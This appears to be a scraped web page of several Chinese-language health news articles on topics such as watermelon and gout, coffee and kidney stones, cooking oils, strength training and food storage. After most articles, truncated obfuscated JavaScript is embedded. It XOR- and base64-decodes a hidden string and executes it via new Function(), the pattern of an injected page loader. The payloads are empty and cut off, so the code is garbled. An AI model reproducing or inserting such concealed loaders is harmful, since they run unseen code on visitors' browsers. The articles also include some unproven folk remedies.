健康

当痛风急性发作时，患者往往连走一步都像踩在刀尖上一样痛苦不堪，平日饮食更是步步为营。踏入炎夏，消暑必备的西瓜原来是痛风患者的饮食好帮手。以下就为大家介绍西瓜的正确吃法和禁忌。 医生：西瓜有助降尿酸治痛风 北京协和医院临床营养科副主任陈伟指出，西瓜基本上不含普林（Purine/嘌呤），而且拥有极佳的利尿作用，能有效促进尿酸排出体外。此外，西瓜还有助降低血脂、软化血管并保护心血管健康，因此非常适合处于痛风急性期、或是同时患有高血压的痛风患者食用。 陈医师补充，鲜嫩的西瓜皮同样具有利尿功效，还能起到润泽皮肤的作用，建议每天食用量控制在大约 200 克即可。但市民必须注意，切忌一次过进食过量西瓜，因为西瓜含有大量水分，一次性大量吃下会冲淡胃液，进而引致消化不良，甚至导致肠胃道抵抗力下降。   4类人要留神！食多随时出事 虽然西瓜好处甚多，但陈医师提醒有4类族群必须严格控制摄取量。首先，心力衰竭（心衰竭）或肾功能不佳的患者应尽量少食，以减轻心脏和肾脏的排水负担。其次，血糖较高或患有糖尿病的人士亦不宜多食，以免影响血糖控制。第三，脾胃虚寒的人士，以及处于感冒初期——无论是风寒感冒还是风热感冒的患者，同样不宜多吃西瓜。最后，已经切开并放置过久的西瓜切勿食用，以免西瓜变质滋生过量病菌，引致食物中毒。 西瓜皮民间妙用偏方 除了直接食用瓜肉，西瓜皮在辅助治疗方面亦有妙用。例如取用 100 克新鲜西瓜皮煲水饮用，有助辅助改善由心脏或肾脏问题引致的水肿情况。另外，将经过日晒夜露处理的西瓜皮研磨成粉末，加入少许冰片粉混合后涂抹于患处，亦能作为纾缓风火牙痛的辅助偏方。 饮食搭配宜忌守则 切勿将西瓜与羊肉同食 在食材搭配方面，西瓜亦有其相生相克的原则。 【神仙组合】西瓜 + 绿茶：对高血压同心脑血管健康好有帮助。 【清心组合】西瓜 + 薄荷：即时清新口气，仲可以帮你减压、扫走坏情绪。 【清热组合】西瓜 + 紫苏：清热解毒一绝！ 【通便组合】西瓜皮 + 冰糖：有助凉血同促进排便。 【千万别试】西瓜 + 羊肉：一热一寒极度相克，一齐食落肚极容易搞到肚胀、肚泻，记得要避开啊！ 资料来源：健康2.0 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) ...

对不少香港上班族而言，每天早上饮一杯咖啡已是日常生活习惯。这杯咖啡不单能为忙碌的一天提神醒脑，最新医学研究指出，它可能还有助降低患上肾结石的风险。营养师张馨方指出，多项权威研究发现，咖啡摄取量较高的人士，发生肾结石的风险相对较低。她建议市民应以黑咖啡为主，并尽量减少加糖或植脂奶，每天饮用大约1至3杯即可；同时亦提醒市民，维持充足的日常饮水，依然是预防肾结石最有效的方法。 研究揭黑咖啡与防肾石相关 张馨方日前于Facebook专页“ViVi营养生活话”发文分享，一项涵盖了超过21万人、进行了长达8年以上追踪的大型医学研究发现，咖啡因摄取量较高的族群，其肾结石的发生风险出现了显著降低。另一篇系统性回顾研究亦支持该发现，显示规律摄取咖啡与较低的肾结石风险之间存在明确的相关性。 黑咖啡发挥保护3大机制 助降尿液中草酸浓度作用 究竟饮咖啡为何能对预防肾结石有所帮助？张馨方表示，目前医学界推测，咖啡中所含有的咖啡因以及天然多酚，可能是透过多种生理机制来干扰肾结石的形成。首先，咖啡因具有利尿作用，能增加尿液排出量，进而降低矿物质在尿液中过度浓缩并结晶的机会。其次，咖啡因有助于降低尿液中的草酸浓度，减少草酸钙结石形成的风险。最后，咖啡本身富含绿原酸等强效抗氧化成分，这亦有助于减缓体内的氧化压力。 研究特别指出，来自天然咖啡的咖啡因，比起其他人工或非咖啡来源的咖啡因，其保护效果明显更好；甚至有数据显示，非咖啡来源的咖啡因可能反而与结石风险增加有关。因此，护肾的关键在于饮用纯粹的“黑咖啡”，而非单纯补充咖啡因锭剂。不过张馨方亦补充提醒，目前的学术研究多属于观察性研究，仅代表两者之间存在相关性，目前尚不能直接证明饮咖啡就是保护肾脏的直接因果原因。 每天饮用量控制在约1至3杯 针对日常饮用建议，张馨方强调“饮得正确”远比“饮得过量”重要。市民应优先选择黑咖啡，并尽量避免添加糖分或植脂奶，每天的饮用量控制在大约1至3杯之间即可，并可根据个人体质及对咖啡因的耐受度适度调整。同时，切不可将咖啡直接当作日常清水饮用，因为补足足够的水分，始终是预防肾结石最重要的生活防线。 6类人士饮用前应先咨询医生 最后张馨方提醒，并非所有人都适合透过增加咖啡摄取量来维护健康。以下6大特殊族群在调整咖啡饮用习惯前，均应先与专业医生或营养师作详细讨论： 慢性肾脏病后期患者 孕妇 严重胃食道逆流（胃酸倒流）患者 心律不整患者 对咖啡因特别敏感的人士 容易出现失眠问题的人士 资料来源：ViVi营养生活话 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var...

返工返学贪方便，早餐只吃一只烚蛋，可能会导致专注力下降？有营养师警告有3类人绝对不宜早餐单独吃烚蛋。到底烚蛋怎样配搭进食有助醒脑？ 为何返工返学早餐只吃烚蛋易专注力不足？ 据日媒《Yoga Journal》报道，营养师川口めぐみ指出，烚蛋是常见的早餐选择，它不但易于烹调，更富含优质蛋白质、维他命B2、维他命B12、维他命D，以及铁、锌等重要营养素。虽然它营养丰富，是健康早餐的绝佳选择。然而，烚蛋却极度缺乏人体早晨必需的关键营养素——“碳水化合物”。她解释，即使在睡眠中，身体仍会持续进行新陈代谢并消耗能量。当我们早上醒来时，体内的能量已所剩无几，特别是大脑的主要能量来源葡萄糖，在肝脏中的储存量非常有限。如果早餐碳水化合物摄取不足，很容易导致大脑能量供应不足，引发以下问题： 判断力受损 专注力下降 注意力不集中 疲劳 营养师揭3类人早餐不宜单独吃烚蛋 基于上述原因，川口めぐみ强调，对以下3类人士而言，早餐绝对不建议只吃烚蛋： 3类人早餐不宜单独吃烚蛋/烚蛋必搭配4类食物助醒脑 1.早上需要高度集中注意力的人 主要从事文书工作的上班族或需要上课的学生，早上必须大量用脑。由于大脑依赖葡萄糖作为能量来源，而烚蛋几乎不含碳水化合物，单食烚蛋会导致大脑能量耗尽，令人难以集中精神。 2.活动量高的人 对于需要长时间站立、经常在早晨做运动的人来说，及时补充能量至关重要。单靠一只烚蛋绝对无法提供足够的能量来应付日常活动，反而会迅速引发疲劳和饥饿感。 3.正在减肥的人士 不少人以为早餐只吃一只烚蛋可以严格控制卡路里摄取，然而，大幅减少早餐的摄取量，会令身体误以为处于饥饿状态。结果往往导致在午餐时出现报复性暴食，或在餐与餐之间吃更多零食，最终反而导致体重增加。 烚蛋必搭配4类食物助醒脑 川口めぐみ表示，烚蛋本身并没有甚么问题。事实上，它是优质的蛋白质来源。真正影响身体的是搭配的食物。她建议将烚蛋与碳水化合物搭配食用，例如： 烚蛋+米饭 烚蛋+方包 烚蛋和饭团 再搭配汤或水果蔬菜沙拉，就能进一步补充维他命和膳食纤维等营养素 早餐除了提供能量外，亦能提升体温。川口めぐみ解释，当我们进食时，由口腔到胃部、小肠和大肠的整个消化道会开始活跃。由于消化道是由肌肉组成，消化食物的过程会启动肌肉并产生热量。这股热量能有效提升我们在睡眠期间下降的体温，彻底唤醒身体，为一整天的活动做好准备。 资料来源：《Yoga Journal》 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var...

台湾近日爆发食安风波，大豆沙律油验出一级致癌物“苯骈芘”超标，逾千吨毒油流入市面，引起大众对食用油安全的高度关注。有医生分享身日常会食用的3款食油与烹调方法，助大家在厨房避开致癌风险。 苯骈芘是甚么？高温烹调下的产物 妇产科医生邱筱宸在个人专页撰文拆解，一级致癌物苯骈芘（Benzopyrene）主要产生于油脂或食物在高温下，如烧烤、烟燻、油炸过度、煎至焦黑的过程。当食油加热超过发烟点（即开始冒烟、变质的温度），油的结构便会分解，释出有害物质，包括苯骈芘。因此，邱筱宸医生指出，控制烹调温度是关键。 医生大推：橄榄油、苦茶油、牛油果油 邱筱宸医生推荐3款优质植物油，并按用途区分：   特级初榨橄榄油 富含单元不饱和脂肪酸，有益心血管，并含多酚与维他命E。但这些抗氧化物质不耐高温，适合凉拌或起锅前淋一圈，保留完整营养。 苦茶油 Omega-9含量甚至高于橄榄油，发烟点不低，但邱医生仍建议起锅前才加入，以保留其清香与营养。 牛油果油 发烟点高达260°C，是植物油中极耐高温的选择，同样富含Omega-9和叶黄素。适合大火快炒或煎煮，稳定性高，不易变质。 用水减低油脂烟点 邱医生强调，水是控制温度的最佳帮手。她日常炒青菜时，先用少量水将菜炒熟，起锅前才淋上油。只要锅内还有水，温度便压在100°C以下，远低于大部分油脂的烟点，大幅减少油烟和致癌物生成。这样既能锁住油的营养，又能保持厨房清爽。 3大用油法则 蔬菜先水炒、后淋油：低温烹调保留营养，减少油烟。大火快炒 选牛油果油：根据烹调方式选用合适油品，避免高温破坏好油；切勿重复使用回锅油。 好油避光避热：开封后置于阴凉处，远离炉火，锁紧瓶盖，防止氧化变质。 只要掌握“选对油、控温煮、避高温”的原则，便能将风险降到最低。 资料来源：妇产科医生邱筱宸 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var...

香港人工作繁忙、生活节奏急促，不少人为了维持身体健康，常常苦恼是否每天花费数小时做运动才有效。研究指，市民根本不必花大把时间健身，每天只需进行大约12至17分钟的肌力训练（Strength Training），就已经能为身体带来明显的健康效益，更有机会延长寿命。 训练超时无额外健康效益 时间愈长≠效果愈好 肾脏科专科医生江守山于Facebook专页发文分享，一项追踪了超过14.7万人、长达30年的研究表明，每周只需进行90至120分钟的肌力训练，换算下来每天平均只需12至17分钟，就对长期健康具有显著益处。研究发现，这个强度的训练量与整体死亡风险降低息息相关，尤其能有效降低心血管疾病和神经系统疾病的死亡率。若能将肌力训练与有氧运动相结合，健康效益更会倍增。 不过并非运动时间愈长愈好。江医生特别提醒，研究人员发现当每周进行超过120分钟、亦即每天平均超过17分钟的肌力训练，身体并不会获得额外健康好处。 这项具权威性的研究分析了源自3项大型学术研究、累积超过30年的数据，包括“健康专业人员追踪研究（1992-2022 年）”、“护理师健康研究（2002-2021 年）”以及“护理师健康研究 II（2003-2021 年）”。这些研究合共纳入了 147,374 名参与者，当中包括 31,540 名男性和 115,834 名女性。 运动项目与数据收集方式 研究进行期间，参与者需要每两年报告一次自己每周进行肌力训练和有氧运动的时间。有氧运动方面，涵盖急步走路、跑步、慢跑、游泳、单车、网球、壁球、剧烈的户外运动及行楼梯等常见项目。至于肌力训练，则包括使用器械或利用自身体重进行的锻炼，例如掌上压、深蹲及弓步起立（Lunges）等。 3大疾病风险显著降低 进行肌力训练降死亡风险 研究结果显示，在撇除其他健康因素的影响后，与完全没有进行训练的人相比，每周进行90至119分钟肌力训练的人，其全因死亡风险大幅降低13%，而心血管疾病的死亡风险亦降低了19%。此外，在神经系统疾病方面，死亡风险更显著降低了27%。 除了肌力训练，有氧运动同样具有极佳的保护效果。研究显示，每周累积超过 7.5 MET 小时的有氧运动，可降低 26% 至 43% 的死亡风险。如果市民能将每周60至119分钟的肌力训练，与有氧运动一同搭配进行，延寿及抗病效益将会更为明显。 不过，研究团队亦提醒大众，这项研究属于观察性研究，只能显示肌力训练与死亡风险下降之间存在关联性，并不能直接证明两者存在绝对的因果关系。此外，由于运动量是由受试者自行回报，因此在数据记录上亦有机会产生些微误差。但无论如何，这项研究无疑为平日缺乏时间运动的都市人，提供了一个高效且切实可行的健康管理新方向。 资料来源：江守山医师 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var...

隐形眼镜技术经过多年发展，物料已由早期的玻璃演变为柔软的矽水凝胶（Silicone Hydrogel），大幅提升配戴舒适度。不过，对于角膜形状不规则的患者而言，即使现时市面提供不同尺寸及弧度的产品，仍未必能找到真正贴合眼球的镜片，往往需要接受多次验配及订制镜片，费用动辄数百美元，整个过程亦相当费时。 加拿大滑铁卢大学（University of Waterloo）化学系研究团队近日研发出一项3D打印技术，可在约20分钟内制作一副个人化隐形眼镜，目标是将整个验配及制作流程缩短至一次诊症内完成，未来有望令订制隐形眼镜更普及。 研究团队表示，新技术会先利用专用软件建立镜片数码模型，再按患者角膜的实际形状设计镜片内侧表面，外侧则负责提供所需的视力矫正度数。完成设计后，便可透过3D打印逐层制作镜片，整个流程预计只需约20分钟。 要实现这项技术，最大挑战在于材料本身。矽胶因柔软、透氧度高及具生物相容性，一直是隐形眼镜的理想材料，但并不适合传统3D打印工艺。研究团队因此研发出一种全新的亲水性矽胶配方，可配合3D打印逐层成形，同时保留隐形眼镜所需的柔软度及透氧性能。 另一项难题来自3D打印工艺本身。由于物件以一层层材料堆叠形成，表面容易产生细微的阶梯状纹理。虽然肉眼未必容易察觉，但对体积细小的隐形眼镜而言，这些微细凹凸足以影响配戴舒适度及光学清晰度。为解决问题，研究人员在镜片表面加入一层超薄涂层，在不改变订制形状的前提下，令镜片表面变得更平滑。 研究团队指出，实验室测试显示，新型3D打印隐形眼镜具有良好的生物相容性，可安全接触眼部组织，而光学清晰度及机械性能亦已达到与现时商业隐形眼镜相若的水平。下一阶段将展开实际应用测试及完成专利程序，进一步推动技术迈向商业化。' 图片：University of Waterloo T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();(function(){ var x46eaa6=6026; if(x46eaa6>0){var...

想补充维他命C不只可以吃橙，有专家盘点4大隐藏版高维他命C蔬果，其中有1种食物更具备防癌、解决便秘兼稳定血糖的神奇功效。 盘点4大高维他命C食物 吃这种更可防癌/防便秘/控血糖 据《The Daily Meal》报道，维他命C对人体健康至关重要，它不仅能透过增强白血球的活性来提升免疫系统，更是人体合成胶原蛋白不可或缺的元素。此外，维他命C能提高人体对铁质的吸收能力以预防贫血，更是一种强效的抗氧化剂，能中和体内有害的自由基，从而预防癌症等慢性疾病。根据梅奥诊所的建议，女性每日应摄取75毫克维他命C，男性则为90毫克。一提起补充维他命C，大众通常会第一时间想起柑橘类水果，尤其是橙。一个中等大小的鲜橙大约含有70毫克维他命C，含量确实不少，但原来以下4款食物的维他命C含量，竟然比橙更高： 4大高维他命C食物 1.菠萝 一杯切粒的菠萝约含有87.42毫克维他命C。这意味着女性只需进食一杯份量的菠萝，便能满足每日的建议摄取量。除了维他命C，菠萝更以富含“凤梨蛋白酶”而闻名。根据《生物医学报告》指出，这是一种能分解蛋白质、帮助消化并减轻发炎的酵素，常用于减轻剥智慧齿等牙科手术或运动创伤后的肿胀。2023年《肿瘤学前沿》杂志的一项研究亦发现，凤梨蛋白酶可能阻断引致癌细胞发展的元凶。 2.士多啤梨 一杯士多啤梨约含有89毫克维他命C，比一个橙还要多出约19毫克，绝对是增强免疫力的理想选择。士多啤梨同时富含膳食纤维，有助于控制血糖水平。另一个好处是，士多啤梨含有丰富的苹果酸，能够分解并去除食物和饮品残留在牙齿表面的污渍，达到天然美白牙齿的效果。 3.西兰花 一杯煮熟的西兰花含有高达约100毫克维他命C，比一个橙多出约30毫克。西兰花还蕴含丰富的维他命A、维他命K、铁、钙和抗氧化剂。有研究指出，维他命K和钙对骨骼健康极为重要，而维他命A则有益于眼睛健康。日常除了蒜蓉炒西兰花或西兰花炒牛肉外，在天气转凉时，煮一锅浓郁的西兰花芝士浓汤也是极佳的健康选择。 4.抱子甘蓝 （抱子甘蓝每85克（约一份生抱子甘蓝）就含有高达122毫克维他命C，含量几乎是橙的两倍。椰菜仔富含维他命K及一种含硫物质，有助预防DNA损伤，从而降低患癌风险。此外，它含有丰富的膳食纤维和α-硫辛酸，能有效控制血糖水平以预防二型糖尿病；其高纤维特质亦能大大促进肠道消化，轻松预防便秘。 维他命C是甚么？摄取量多少？ 玛丽医院营养部资料显示，维他命C在体内的主要作用包括抵抗外来游离基对细胞的破坏，保持骨骼、牙齿及血管健康，协助胶原的组成，并帮助铁质的吸收。 摄取量：美国 DRI 建议每日 75mg（女）、90mg（男），只要平日进食足够的蔬果，身体对外的抵抗能力便会自然增强，从而达到预防疾病的效果。 维他命C是一种水溶性维生素，因此过量的维他命C会随小便排出体外。如在短期内想增强扺抗力，可尝试每天进食1000mg维他命C。但由于肠脏有一套控制维他命C的吸收机制，当大量进食维他命C补充品，便有机会增加尿液草酸排泄量或肠胃不适。现时建议的维他命C的摄取量上限为 2000 mg。 蔬果里的维他命C如接触了空气、加热、冷冻而增加流失。所以应尽量以鲜吃或快炒的形式来进食蔬果。此外，选用有维他命C添加的食物 / 饮品如谷物早餐或果汁亦可增加摄取机会。 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var...

吃剩半个牛油果易变黑怎样处理？误信网上疯传的浸水保鲜法，随时滋生致命病菌？想妥善保存又吃得安心，有专家教4招正确保鲜防黑秘诀，轻松延长保鲜期。 网传牛油果浸水法随时惹病菌？ 据《Southern Living》报道，不少人切开一颗完美熟透的牛油果后，往往只需用到半个。面对剩下的另一半，如何妥善保存而不让它氧化变黑，成为许多人的入厨烦恼。 网上流传着各种保鲜偏方，例如用洋葱包裹保存。而在2021年，影片平台TikTok更曾疯传一段短片，声称将牛油果浸泡在水中可以大幅延长保鲜期。然而，美国食品药物管理局（FDA）强烈警告大众切勿采用此“水浸法”。FDA代表早前接受电视节目访问时指出，局方最主要的担忧在于牛油果表面可能残留人类病原体，如李斯特菌及沙门氏菌等，当牛油果被浸泡在水中并放入雪柜冷藏时，这些致命病菌可能会大量繁殖。此外，FDA科学家的研究更表明，若牛油果在冷藏期间一直浸泡在水中，李斯特菌甚至有可能在15天内渗透并进入果肉内部。 专家教4招保鲜牛油果防变黑 其实，要延长半个牛油果的保鲜期，建议可采取以下4个简单方法：   1.保留果核 如果只打算进食半个牛油果，就将果核留在未食用的那半边中。虽然果核无法完全阻止整个切面氧化，但它可以覆蓋部分果肉，阻隔其与空气接触。 2.尽量减少接触空气 导致牛油果变黑的最大元凶就是氧气，一旦果肉暴露于空气中，当中的天然酵素就会与氧气产生化学反应，即氧化过程，导致表面变黑。为了减缓这个过程，建议将保鲜纸直接紧贴在牛油果的切面上，尽量挤出多余空气，然后放入密封的保鲜盒中。世界牛油果组织（WAO）亦建议，可以用已清空果肉的另一边牛油果外壳，盖住剩下的半个牛油果。 3.滴上柠檬汁或涂橄榄油 在牛油果的切面上轻轻挤上少许柠檬汁或青柠汁，同样能有效延缓变黑。柠檬酸能够减缓氧化过程，同时为牛油果增添一丝清香。世界牛油果组织建议，可挤几滴柠檬汁或青柠汁在果肉表面，或者在果肉上轻轻扫上一层橄榄油，然后放入密封容器再放进雪柜。这样处理后，牛油果在接下来的几天内依然能保持完美品质。 4.放入雪柜冷藏 将牛油果妥善包裹或密封后，务必放入雪柜冷藏。较低的温度有助减缓氧化过程，保持其原有风味和口感。为了品尝到最佳品质，建议剩下的半个牛油果最好在1至2天内食用完毕。 资料来源：《Southern Living》 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();(function(){ var...

煮饭剩半个番茄，习惯用保鲜纸包好放雪柜，但这样做反而会令番茄极速变烂！想留住番茄的鲜甜多汁，有专家教最佳储存方法，就能完美锁汁保鲜防出水。 番茄最佳保存方法 完美保鲜防出水 据《Southern Living》报道，无论是制作三文治、汉堡还是沙律，一片熟透的番茄都能令食物增色不少。不过，番茄一旦切开便难以长时间保鲜。想必大家都有过这样的经验：将吃剩的半个番茄用保鲜纸包好放入雪柜，隔天拿出来却发现它已经变腍出水，软烂不堪，令人倒胃口。其实，只要掌握简单的储存诀窍，就能完美锁住番茄的口感与风味：   半个番茄最佳保鲜法： 要妥善保存切开的半个番茄，最关键是保护切面，同时限制过多水分积聚，以免番茄加速变软变烂。 1.准备一个密实盒，在底部铺上一张厨房纸，然后将番茄的切面朝下放入盒内，盖好后才放入雪柜冷藏。垫底的厨房纸有助吸收多余水分，有效防止番茄过快出水。 2.为了品尝到最佳口感，建议尽量在一至两天内食用完毕。从雪柜取出后，可先将番茄放在室温下约15至30分钟，这做法有助恢复其天然风味及汁液。 切片番茄存放3大禁忌 报道整理出以下几个延长切片番茄保鲜期的关键贴士： 1.将番茄片放入密实盒中保存，防止其变干或吸收雪柜异味。切忌使用保鲜纸，因为保鲜纸会锁住过多水分，当番茄变软时，保鲜纸表面更会变得黏糊糊。 2.储存切片番茄前千万不要洒盐。盐分会抽干水分，令番茄变得水汪汪，吃起来口感会变得像橡胶一样。 3.如果番茄已经过熟，最好立即食用，因为它们放入雪柜后极容易腐烂。 切开的番茄能保存多久？ 根据美国农业部（USDA）的指引，原个完整的番茄及成熟的辣椒其实无需冷藏，放入雪柜反而会流失风味。不过，任何新鲜农产品一旦去皮或切开，都必须在两小时内放入雪柜冷藏。若切开的番茄在室温下放置超过两小时，必须立即丢弃。 资料来源：《Southern Living》 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var...

“成功人士睡眠时间”向来是大众感兴趣的话题。许多商界领袖、政坛领袖以至天王天后，每日似乎只需极少时间睡眠，依然能保持敏锐与活力。在医学上，这群每晚睡眠时间少于6小时的人被称为“短眠精英”（Elite sleepers）。研究指出，他们不仅能保持高效工作，甚至更不易患上认知障碍症。 短眠精英“瞓得少等于越成功”? 事实上，不少政商界与演艺界领袖都是典型代表，他们的作息表令人惊叹。美国总统特朗普（Donald Trump）每日睡3-4小时，通常凌晨1点入睡，清晨 4 点便起床，将剩下的所有时间几乎全奉献给工作；在时装界，设计师Tom Ford同样每日仅睡3小时；“地狱厨神”Gordon Ramsay，由于手上节目众多并要管理多间餐厅，他每日平均仅睡3小时，凌晨2点入睡，早上5点就起床；美国乐坛天后Taylor Swift亦是靠极度自律走向巅峰，她每天大约睡5.5小时，通常凌晨1点半入睡，早上7点起床。她将绝大部分时间付诸演艺事业，平均一天要花2小时彩排、3小时演出，接着还会花1个小时亲自处理社交媒体。 顶尖富豪“平衡派”睡眠模式 不过，近年许多顶尖富豪开始意识到，一味熬夜未必是最好投资。Tesla 联合创办人Elon Musk过去以一天只睡4小时，如今他已将睡眠时间增加到6小时。他曾公开表示“熬夜是没用的”，如果睡眠时数低于6小时，虽然身体能保持清醒，但精神敏锐度会明显下降，能完成的工作反而更少。同样每天睡6小时的还有美国前总统奥巴马，除了睡觉，他会在睡前花半小时阅读报刊或写作，并且平均每天会花3小时陪伴家人。 微软创办人盖兹（Bill Gates）曾经也是不折不扣的工作狂，过去推崇不放假、认为睡觉是懒惰象征的作息，但他其后在文章中坦承，自己现在每天至少有7个小时的睡眠时间。作为“晨型人”代表的苹果公司（AAPL）行政总裁库克（Tim Cook）同样提倡7小时睡眠，他过着极度自律的生活，每天晚上9点半便上床睡觉，清晨4点半起床开始一天的工作。    作为“晨型人”代表的苹果公司（AAPL）行政总裁库克（Tim Cook）同样提倡7小时睡眠，他过着极度自律的生活，每天晚上9点半便上床睡觉，清晨4点半起床开始一天的工作。法新社 微软创办人盖兹（Bill Gates）曾经也是不折不扣的工作狂，过去推崇不放假、认为睡觉是懒惰象征的作息，但他其后在文章中坦承，自己现在每天至少有7个小时的睡眠时间。REUTERS Tesla 联合创办人Elon Musk过去以一天只睡4小时，如今他已将睡眠时间增加到6小时。法新社 “地狱厨神”Gordon Ramsay，由于手上节目众多并要管理多间餐厅，他每日平均仅睡3小时，凌晨2点入睡，早上5点就起床。IG@gordongram 美国乐坛天后Taylor Swift亦是靠极度自律走向巅峰，她每天大约睡5.5小时，通常凌晨1点半入睡，早上7点起床。IG@ taylorswift 普通人失眠恐增心脏病、中风风险 然而，并非人人都是天生的“短眠精英”或拥有高效基因。在现实生活中，全球约有三分之一的成年人正饱受失眠折磨。长期失眠不仅令人精神不振，还会大幅增加患上抑郁症、焦虑症的风险，甚至诱发心脏病、中风和肥胖等严重健康问题。 要解决失眠问题，临床上可透过药物治疗，或进行针对失眠的认知行为治疗（CBT-I）。对于一般市民而言，日常亦可透过调整生活习惯来改善睡眠质素。例如，维持规律的作息时间、在睡前 1 